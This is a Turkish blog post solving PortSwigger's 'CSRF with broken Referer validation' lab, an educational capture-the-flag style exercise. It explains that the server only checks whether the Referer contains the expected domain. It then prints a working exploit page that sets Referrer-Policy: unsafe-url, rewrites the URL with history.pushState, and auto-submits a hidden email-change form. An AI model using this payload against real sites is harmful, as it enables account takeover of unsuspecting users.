Çözüm - PortSwigger CSRF with broken Referer validation - ( Lab 8 )
Dec 23, 2021
PortSwigger’ın 8. CSRF labının çözümünü sizlerle paylaşacağım , bu ve bütün çözümleri detaylı olarak türkçe anlatımları ile burada bulabileceksiniz.
Referer headerı CSRF ataklarına karşı test edelim ;
1.) referer header ı kaldıralım
2.) backend , referer header’ın hangi kısımlarını kontrol ediyor test edelim
Bu challenge’da domain’in tamamı kontrol edilmiyor ( yani “exact domain does not get checked” ) , sadece referer header’da bulunan adres , istenen domain’i içeriyor mu (yani contain ediyor mu ) bunun kontrolü var.By-pass yapılabilir bu.
Bu bağlamdaki payload ;
Head
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Referrer-Policy: unsafe-url
Body
Head Kısmına eklemeyi unutma ! => Referrer-Policy: unsafe-url<script>
history.pushState("", "", "/?randomnumber.web-security-academy.net")
</script><form action="<https://randomnumber.web-security-academy.net/my-account/change-email>" method="POST">
<input type="hidden" name="email" value="aaaaaaaaaa@aaaaaaaaa" />
</form><script>
document.forms[0].submit();
</script>